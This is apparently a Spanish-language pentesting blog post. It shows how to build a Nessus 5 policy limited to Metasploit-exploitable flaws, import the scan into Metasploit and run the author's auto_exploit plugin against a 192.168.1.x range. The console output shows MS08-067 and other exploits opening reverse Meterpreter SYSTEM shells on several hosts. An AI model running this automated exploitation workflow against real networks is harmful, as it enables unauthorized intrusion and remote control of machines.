Nessus 5 Haciendo My Workflow de Pentesting mas Fácil
![Date Date](/universal/images/transparent.png)
Recientemente Nessus 5 fue lanzado con muchas mejoras en filtrado tanto en creación de políticas como en el análisis de reportes, también incluye mejoras en el motor de pruebas haciéndolo mas rápido y liviano en términos de recursos. De todas estas nuevas capacidades mi favorita lo es la capacidad de filtrado en creación de plugins y análisis. Por mucho tiempo mantuve una copia de un listado de varios números de ID de plugins que detectaban los exploits mas comunes en Metasploit para uso con nessuscmd en mis proyectos. Ahora con la nueva capacidad de filtrado puedo escoger aquellos plugin que cubran agujeros de seguridad que contengan exploits en los Frameworks com Core Impact y CANVAS, tanto agujeros remotos como locales. En este articulo cubriré como crear una política que cubra todos los plugin que abarquen a Metasploit. Comenzamos con entrar a la aplicación y pulsar sobre Policies:
Una vez en en listado de políticas pulsamos sobre Add donde somos llevados a la próxima pantalla donde podemos entrar un nombre para la política al igual que una descripción para la misma, el resto de los parámetros los podemos dejar como están:
Podemos pasar a la sección de credenciales pulsando en Next en esta parte podemos entrar cualquier credencial que podamos tener de antemano y en el caso de Windows podemos usar también hashes de NTLM, esto nos ayudara a encontrar posibles agujeros que permitan ataques contra usuarios si las configuraciones de otras maquinas son similares.
Ahora nos movemos a la próxima sección pulsando sobre Next:
Comenzamos por pulsar sobre Disable All y luego pulsamos sobre Add Filter para crear un filtro nuevo, el mismo seria donde escogemos como campo Metasploit Exploit Framework,escogemos la acción de is equal to y como calor true, pulsamos sobre Save para aplicar el filtro:
Para escoger los plugins dentro de los filtros pulsamos sobre el nombre de la familia y no sobre el circulo al lado del mismo, en la sección de plugins pulsamos sobre Enable Plugins para habilitar los que cumplen con el filtro:
Ahora pulsamos sobre Next y después sobre Save para guardar la politica.
Una vez guardado puede ser usado desde el plugin de nessus que viene con Metasploit. Podemos usar la consola tanto en Armitage, MSFConsole o en Metasploit Community/Pro/Express para cargar el mismo:
msf > load nessus[*] Nessus Bridge for Metasploit 1.1[+] Type nessus_help for a command listing[*] Successfully loaded plugin: nessus
Una vez cargado podemos usar el comando de nessus_connect para conectarnos y podemos listar las políticas con nessus_policy_list:
msf > nessus_connect carlos:contasena@localhost ok[*] Connecting to https://localhost:8834/ as carlos[*] Authenticatedmsf > nessus_policy_list[+] Nessus Policy List[+]ID Name Comments-- ---- ---------1 External Network Scan-2 Internal Network Scan-3 Prepare for PCI DSS audits-4 Web App Tests6 Metasploit Exploits
Ahora podemos usar la política para lanzar un nuevo scan usando el comando de nessus_scan_new pasándole el ID de la política, un nombre y el rango de IPs a ser examinados:
msf > nessus_scan_new 6 "contoso pentest" 192.168.1.1-241[*] Creating scan from policy number 6, called "contoso pentest" and scanning 192.168.1.1-241[*] Scan started. uid is 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
Podemos monitorear el status del scan usando el comando de nessus_scan_status:
msf > nessus_scan_status[+] Running Scans[+]Scan ID Name Owner Started Status Current Hosts Total Hosts------- ---- ----- ------- ------ ------------- -----------396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554 contoso pentest carlos 11:53 Feb 16 2012 running 217 241[+][*] You can:[+] Import Nessus report to database : nessus_report_get <reportid>[+] Pause a nessus scan : nessus_scan_pause <scanid>msf >
Una vez terminado el scan podemos usar el comando de nessus_report_list para ver el ID reporte de los resultados:
msf > nessus_report_list[+] Nessus Report List[+]ID Name Status Date-- ---- ------ ----396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554 contoso pentest completed 11:58 Feb 16 2012[*] You can:[*] Get a list of hosts from the report: nessus_report_hosts <report id>
Ahora que tenemos el ID del reporte podemos bajar el mismo a un nuevo workspace de manera de evitar conflicto con otra data de otros blancos o de otros clientes, para importar el reporte se usa el comando de nessus_report_get:
msf > workspace -a contoso[*] Added workspace: contosomsf > nessus_report_get 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554[*] importing 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554[*] 192.168.1.99[*] 192.168.1.241[*] 192.168.1.237[*] 192.168.1.235[*] 192.168.1.234[*] 192.168.1.230[*] 192.168.1.223[*] 192.168.1.2[*] 192.168.1.192[*] 192.168.1.156[*] 192.168.1.155[*] 192.168.1.154[*] 192.168.1.153[*] 192.168.1.146[*] 192.168.1.143[*] 192.168.1.134[*] 192.168.1.113[*] 192.168.1.109[*] 192.168.1.102[*] 192.168.1.100[*] 192.168.1.1[+] Done
Una vez importado podemos ver las vulnerabilidades que son cubiertas por metasploit usando el comando de vulns:
msf > vulns[*] Time: 2012-02-16 16:01:44 UTC Vuln: host=192.168.1.1 port=443 proto=tcp name=Nessus SYN scanner refs=NSS-11219[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=111 proto=tcp name=Nessus SYN scanner refs=NSS-11219[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=53 proto=tcp name=Nessus SNMP Scanner refs=NSS-14274[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.100 port=59159 proto=tcp name=netstat portscanner (SSH) refs=NSS-14272[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.102 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.109 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219.......
Una vez confirmado que encontramos vulnerabilidades para explotar se puede usar mi plugin auto_exploit, el mismo se encuentra en https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb en una maquina con OSX/Linux solo se tiene colocar el mismo en ~/.msf4/plugins para usar el mismo. Comenzamos por cargar el mismos y ver las opciones de vuln_exploit:
msf > load auto_exploit[*] auto_exploit plug-in loaded.[*] Successfully loaded plugin: auto_exploitmsf > vuln_exploit -hOPTIONS:-f <opt> Provide a comma separated list of IP's and Ranges to skip when running exploits.-h Command Help-j <opt> Max number of concurrent jobs, 3 is the default.-m Only show matched exploits.-r <opt> Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default.-s Do not limit number of sessions to one per target.
Para lanzar los exploits contra las vulnerabilidades que encontramos usamos el comando vuln_exploit , este comando analizará los exploits y vulnerabilidades encontrando aquellas que sean para la plataforma, nivel de viabilidad, limitara el ataque a 3 a la vez de manera de no martillar a los sistemas y limitara a 1 sesión por maquina:
msf > vuln_exploit[*] Generating List for Matching...[*] Matching Exploits (This will take a while depending on number of hosts)...[+] Matched Exploits:[+] 192.168.1.153 exploit/windows/smb/ms08_067_netapi 445 500[+] 192.168.1.113 exploit/windows/smb/ms08_067_netapi 445 500[+] 192.168.1.99 exploit/windows/smb/ms08_067_netapi 445 500[+] 192.168.1.192 exploit/windows/smb/ms08_067_netapi 445 500[+] 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom 135 500[+] 192.168.1.154 exploit/linux/samba/lsa_transnames_heap 445 400[+] 192.168.1.113 exploit/windows/smb/ms06_040_netapi 445 400[+] 192.168.1.153 exploit/windows/smb/ms04_011_lsass 445 400[+] 192.168.1.153 exploit/windows/smb/ms06_040_netapi 445 400[+] 192.168.1.153 exploit/windows/smb/ms05_039_pnp 445 400[+] 192.168.1.153 exploit/windows/smb/ms04_007_killbill 445 100[*] Running Exploits:[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.153[*] Started reverse handler on 192.168.1.241:29271[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.113[*] Automatically detecting the target...[*] Started reverse handler on 192.168.1.241:4643[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.99[*] Started reverse handler on 192.168.1.241:14900[*] Automatically detecting the target...[*] Automatically detecting the target...[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown[*] We could not detect the language pack, defaulting to English[*] Selected Target: Windows 2003 SP2 English (NX)[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English[*] Selected Target: Windows 2000 Universal[*] Attempting to trigger the vulnerability...[*] Sending stage (752128 bytes) to 192.168.1.99[*] Attempting to trigger the vulnerability...[*] Sending stage (752128 bytes) to 192.168.1.153[*] Fingerprint: Windows XP - Service Pack 2 - lang:English[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)[*] Attempting to trigger the vulnerability...[*] Sending stage (752128 bytes) to 192.168.1.113[*] waiting for finishing some modules... active jobs: 3 / threads: 16[*] Meterpreter session 1 opened (192.168.1.241:14900 -> 192.168.1.99:1513) at 2012-02-16 12:54:23 -0400[*] Meterpreter session 2 opened (192.168.1.241:29271 -> 192.168.1.153:2709) at 2012-02-16 12:54:23 -0400[*] Meterpreter session 3 opened (192.168.1.241:4643 -> 192.168.1.113:4035) at 2012-02-16 12:54:23 -0400[*] waiting for finishing some modules... active jobs: 0 / threads: 19[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.192[+] Skipping 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom because a session already exists.[*] Started reverse handler on 192.168.1.241:15430[*] Running exploit/linux/samba/lsa_transnames_heap against 192.168.1.154[*] Automatically detecting the target...[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown[*] We could not detect the language pack, defaulting to English[*] Selected Target: Windows 2003 SP2 English (NX)[+] Skipping 192.168.1.113 exploit/windows/smb/ms06_040_netapi because a session already exists.[*] Started reverse handler on 192.168.1.241:48452[+] Skipping 192.168.1.153 exploit/windows/smb/ms04_011_lsass because a session already exists.[*] Creating nop sled....[+] Skipping 192.168.1.153 exploit/windows/smb/ms06_040_netapi because a session already exists.[+] Skipping 192.168.1.153 exploit/windows/smb/ms05_039_pnp because a session already exists.[+] Skipping 192.168.1.153 exploit/windows/smb/ms04_007_killbill because a session already exists.[*] Trying to exploit Samba with address 0xffffe410...[*] Connecting to the SMB service...[*] Attempting to trigger the vulnerability...msf > [*] Sending stage (752128 bytes) to 192.168.1.192[*] Meterpreter session 4 opened (192.168.1.241:15430 -> 192.168.1.192:1597) at 2012-02-16 12:54:29 -0400
Para ver las sesiones que se obtuvieron se usa el comando de sessions :
msf > sessionsActive sessions===============Id Type Information Connection-- ---- ----------- ----------1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ CARLOS-CD652C1C 192.168.1.241:14900 -> 192.168.1.99:15132 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN2KADV01 192.168.1.241:29271 -> 192.168.1.153:27093 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ TEST-01BCDAF47C 192.168.1.241:4643 -> 192.168.1.113:40354 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DBSQL2K01 192.168.1.241:15430 -> 192.168.1.192:1597
Como se puede ver el uso de los filtros en la creación de políticas y el uso de mi plugin the auto_exploit hace que una descubrimiento y ataque sea lo mas táctico posible reduciendo el numero y riesgo al momento de hacer una penetración remota de un ambiente.
Espero que haya encontrado el articulo útil e informativo.
Reader Comments (3)
Un saludo,
@dh4rm4n
Gracias por compartir.
Que estoy haciendo mal, algo falta por configurar, gracias,